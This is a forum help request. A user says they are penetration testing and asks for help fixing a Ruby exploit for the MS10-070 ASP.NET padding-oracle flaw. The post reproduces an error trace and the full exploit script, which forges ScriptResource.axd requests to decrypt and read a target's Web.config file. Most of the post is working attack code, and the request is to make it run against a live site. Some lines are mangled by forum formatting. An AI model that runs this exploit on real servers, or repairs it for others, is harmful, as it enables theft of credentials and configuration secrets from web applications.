Hello, I’m doing a penetration testing with an exploit developed in Ruby
that used the library rexml. The code is supposed to trigger the
vulnerability identified as ms10-070.
However rexml fails because the html of the website to evaluate is not
properly made. This is the error I recibe:
////////////////// ERROR IN THE EXECUTION //////////////////
discovering decrypt command…
trying decrypt_mask: 0x0001/0xffff, http_code: 200, body_length:
6790#<REXML::
ParseException: Missing end tag for ‘div’ (got “td”)
Line: 156
Position: 5938
Last 80 unconsumed characters:
C:/Ruby192/lib/ruby/1.9.1/rexml/parsers/baseparser.rb:341:in pull' C:/Ruby192/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:22:in
parse’
C:/Ruby192/lib/ruby/1.9.1/rexml/document.rb:230:in build' C:/Ruby192/lib/ruby/1.9.1/rexml/document.rb:43:in
initialize’
aspx_ad_chotext_attack.rb:220:in new' aspx_ad_chotext_attack.rb:220:in
parse_html_body’
aspx_ad_chotext_attack.rb:259:in block in discover_decrypt_command' aspx_ad_chotext_attack.rb:248:in
upto’
aspx_ad_chotext_attack.rb:248:in discover_decrypt_command' aspx_ad_chotext_attack.rb:432:in
run’
aspx_ad_chotext_attack.rb:465:in `’
…
Missing end tag for ‘div’ (got “td”)
Line: 156
Position: 5938
Last 80 unconsumed characters:
…And here’s the code.
////////////////// HERE’S THE CODE ITSELF//////////////////
require ‘net/http’
require ‘uri’
require ‘rexml/document’
$debugging = false
module XArray
def hex_inspect
"[#{length}][ #{map { |x| x.hex_inspect }.join “, " } ]”
end
end
class Array
include XArray
end
require ‘base64’
class XBase64
def self.encode s
s = Base64.encode64 s
s = s.gsub ‘+’, ‘-’
s = s.gsub ‘/’, ‘_’
s = s.gsub “\n”, ‘’
s = s.gsub “\r”, ‘’
s = XBase64.encode_base64_padding s
end
def self.encode_base64_padding s
padding_length = 0
padding_length += 1 while s[-1 - padding_length, 1] == “=”
s[0…(-1 - padding_length)] + padding_length.to_s
end
def self.decode s
s = s.gsub ‘-’, ‘+’
s = s.gsub ‘_’, ‘/’
s = self.decode_base64_padding s
Base64.decode64 s
end
def self.decode_base64_padding s
padding_length = s[-1,1].to_i
s[0…-1] + (“=” * padding_length)
end
end
module XString
def xor other
raise RuntimeError, “length mismatch” if self.length != other.length
(0…length).map { |i| self[i] ^ other[i] }.map { |x| x.chr }.join
end
alias ^ :xor
def hex_inspect
printables = [ “\a”, “\b”, “\e”, “\f”, “\n”, “\r”, “\t”, “\v” ] +
(0x20…0x7e).entries
"[#{length}]" + "\"#{unpack("C*").map { |x|
printables.include?(x) ? x.chr : "\\x%02x" % x
}.join}""
end
def to_blocks blocksize
(0…length/blocksize).map { |i| self[blocksize * i, blocksize]}
end
end
class String
include XString
end
class ASPXAutoDecryptorChosenCiphertextAttack
attr_reader :uri
attr_reader :filename
attr_reader :min_filelength
attr_reader :filere
attr_reader :http
attr_reader :d_value
attr_reader :blocksize
attr_reader :padding_length
attr_reader :decrypt_command_mask
attr_reader :axdpath
attr_reader :axdname
attr_reader :base_mask
def initialize parameters
@uri = URI.parse parameters[:uri]
@filename = parameters[:filename]
@min_filelength = parameters[:min_filelength]
@filere = parameters[:filere]
@http = http_initialize
@d_value = nil
@base_mask = rand 0xffff
@decrypt_command_mask = nil
@blocksize = nil
@padding_length = nil
@axdpath = nil
@axdname = nil
puts "target: #{@uri}"
puts "base_mask: 0x%04x" % @base_mask
end
def http_initialize
http = Net::HTTP.new @uri.host, @uri.port
http.start
http
end
def parse_script_tag xml, re
d = nil
doc = REXML::Document.new xml
doc.elements.each 'script' do |e|
src_attribute = e.attributes['src']
md = re.match src_attribute
d = md[1]
break
end
raise RuntimeError, "could not parse script_tag" unless d
d
end
private :parse_script_tag
def get_ciphertext_sample
[ [ “ScriptResource.axd”,
//ScriptResource.axd?d=([a-zA-Z0-9-_]+)&t=[a-z0-9]+/ ],
].each do |name, re|
headers = { 'User-Agent' => \
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' }
response = http.get uri.path, headers
body = response.body
script_tags = body.lines.select { |x| x.index name }
next if script_tags.empty?
puts "script tags using #{name} [#{script_tags.length}]:"
puts script_tags.map { |x| "\t#{x}" }
d = parse_script_tag script_tags[0], re
puts "using script: #{name}"
puts "using d_value: #{d}"
@axdpath = uri.path[0, uri.path.rindex('/')]
@axdname = name
@d_value = ("\x00" * 16) + (XBase64.decode d)
break
end
raise RuntimeError, "could not find any axd sample" unless d_value
d_value
end
def parse_html_body h, body
parsed = String.new
doc = REXML::Document.new body
doc.elements.each h do |e|
parsed = e.text
break
end
parsed
end
def send_request d
request = Net::HTTP::Get.new
“/#{axdpath}/#{axdname}?d=#{XBase64.encode d}”
request[‘Connection’] = ‘Keep-Alive’
@http.request request
end
def decrypt d
ciphertext = d.clone
ciphertext[0, 2] = [ @decrypt_command_mask ].pack “S”
response = send_request ciphertext
parse_html_body 'html/head/title', response.body
end
def discover_decrypt_command
puts “discovering decrypt command…”
ciphertext = d_value.clone
1.upto 0xffff do |mask|
ciphertext[0, 2] = [ base_mask + mask ].pack "S"
response = send_request ciphertext
print "\rtrying decrypt_mask: 0x%04x/0xffff, http_code: %4d,
body_length: %5d" %
[ mask,
response.code, response.body.length ]
next unless response.code == "200"
begin
puts parse_html_body 'html/head/title', response.body
@decrypt_command_mask = base_mask + mask
rescue Exception => e
puts e
puts "exception !"
next
end
break
end
puts
raise RuntimeError, "no more combinations to try !" unless
decrypt_command_mask
puts “decrypted !!!”
decrypt_command_mask
end
def discover_blocksize_and_padding_length
puts “discovering blocksize and padding length…”
[ 16, 8 ].each do |b|
0.upto b - 1 do |i|
ciphertext = @d_value.clone
ciphertext[-(b * 2) + i] ^= 0x01
begin
decrypt ciphertext
rescue Exception => e
@blocksize = b
@padding_length = blocksize - i
break
end
end
break if blocksize
end
raise RuntimeError, "no more combinations to try !" unless blocksize
puts "discovered padding length: #{padding_length}"
puts "discovered blocksize: #{blocksize}"
[ blocksize, padding_length]
end
def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks
puts “cipher_blocks.count: #{cipher_blocks.count}”
required_block_count = 1 + new_plaintext_blocks.count + 1
puts "required_block_count: #{required_block_count}"
if required_block_count < cipher_blocks.count then
delta = cipher_blocks.count - required_block_count
puts "removing #{delta} extra blocks..."
cipher_blocks = [ cipher_blocks[0] ] +
cipher_blocks[-required_block_count+1…-1]
elsif required_block_count > cipher_blocks.count then
delta = required_block_count - cipher_blocks.count
puts “adding #{delta} extra_blocks…”
cipher_blocks = [ cipher_blocks[0], (“\x00” * blocksize) * delta ]
-
cipher_blocks[1…-1]
endputs “cipher_blocks.count: #{cipher_blocks.count}”
cipher_blocks
end
private :reallocate_cipher_blocksdef generate_new_plaintext_blocks
tail_padding = “\x01”
head_padding_length = blocksize - ( (@filename.length +
tail_padding.length) % blocksize)
head_padding_length = 0 if head_padding_length == blocksize
head_padding = “\x00” * head_padding_length
new_plaintext = head_padding + @filename + tail_paddingnew_plaintext.to_blocks blocksize
end
private :generate_new_plaintext_blocksdef encrypt
puts “encrypting "#{@filename.hex_inspect}…”new_plaintext_blocks = generate_new_plaintext_blocks
cipher_blocks = @d_value.to_blocks blocksize
cipher_blocks = reallocate_cipher_blocks cipher_blocks,
new_plaintext_blocks(1…new_plaintext_blocks.count).each do |i|
puts “round #{i} of #{new_plaintext_blocks.count}”new_plaintext_block = new_plaintext_blocks[-i] old_cleartext = decrypt cipher_blocks.join old_plaintext = old_cleartext + (padding_length.chr *
padding_length)
puts “old_plaintext: #{old_plaintext.hex_inspect}”
old_plaintext_blocks = old_plaintext[blocksize * (-i -
1)…-1].to_blocks blocksize
old_plaintext_block = old_plaintext_blocks[-i]
normalization_table = old_plaintext_block.bytes.map { |x| x >=
0x80 or x == 0x0a }
if normalization_table.include? true
j = blocksize - (normalization_table.rindex true)
cipher_blocks[-1 - i][-j] ^= old_plaintext_block[-j]
puts “normalization needed for "\x%x", j: %d !” % [
old_plaintext_block[-j], -j]
redo
end
cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_block
@padding_length = 1 if i == 1
end
cleartext = decrypt cipher_blocks.join
puts "new cleartext: #{cleartext.hex_inspect}"
raise RuntimeError, “too many "|" characters!” if
cleartext.count(“|”) > 3
@d_value = cipher_blocks.join
end
def discover_escape_sequence
puts “discovering escape sequence…”
escape_sequence_mask = nil
offset = base_mask % (blocksize - 4)
ciphertext = d_value.clone
0x1ffff.times do |mask|
ciphertext[offset, 4] = [ base_mask + mask ].pack "L"
response = send_request ciphertext
print "\rtrying escape_mask: 0x%04x/0x1ffff, http_code: %4d,
body_length: %5d" %
[ mask,
response.code, response.body.length ]
next unless response.code == "200"
next if min_filelength and (response.body.length < min_filelength)
next if filere and (not filere =~ response.body)
escape_sequence_mask = base_mask + mask
puts
puts "found!"
unless $debugging
puts "press any key to show the contents of the file"
$stdin.gets
end
puts response.body
break
end
puts
raise RuntimeError, "no more combinations to try !" unless
escape_sequence_mask
escape_sequence_mask
end
def pause
return if $debugging
puts
puts “press any key to start the attack”
$stdin.gets
end
def run
get_ciphertext_sample
pause
discover_decrypt_command
discover_blocksize_and_padding_length
encrypt
discover_escape_sequence
end
end
puts [ “-------------------------------------------”,
“aspx_ad_chotext_attack.rb”,
“(c) 2010 AmpliaSECURITY”,
“http://www.ampliasecurity.com”,
“Agustin Azubel - [email protected]”,
“-------------------------------------------”,
“\n” ].join “\n”
if ARGV.length != 1 then
$stderr.puts “usage: ruby #{$PROGRAM_NAME}
http://192.168.1.1/Default.aspx”
exit
end
begin
parameters = {
:uri => ARGV.first,
:filename => “|||~/Web.config”,
:min_filelength => 3000,
:filere => /configuration/
}
x = ASPXAutoDecryptorChosenCiphertextAttack.new parameters
x.run
rescue Exception => e
$stderr.puts “Exploit failed: #{e}”
raise if $debugging
end
////////////////////////////////////
Please somebody could help me? I’m not very skilled on Ruby to be
honest, but I tought about replacing REXML for any other library that
wouldn’t trigger this error.
Any help would be really appreciated.
Thanks in advance and happy xmass!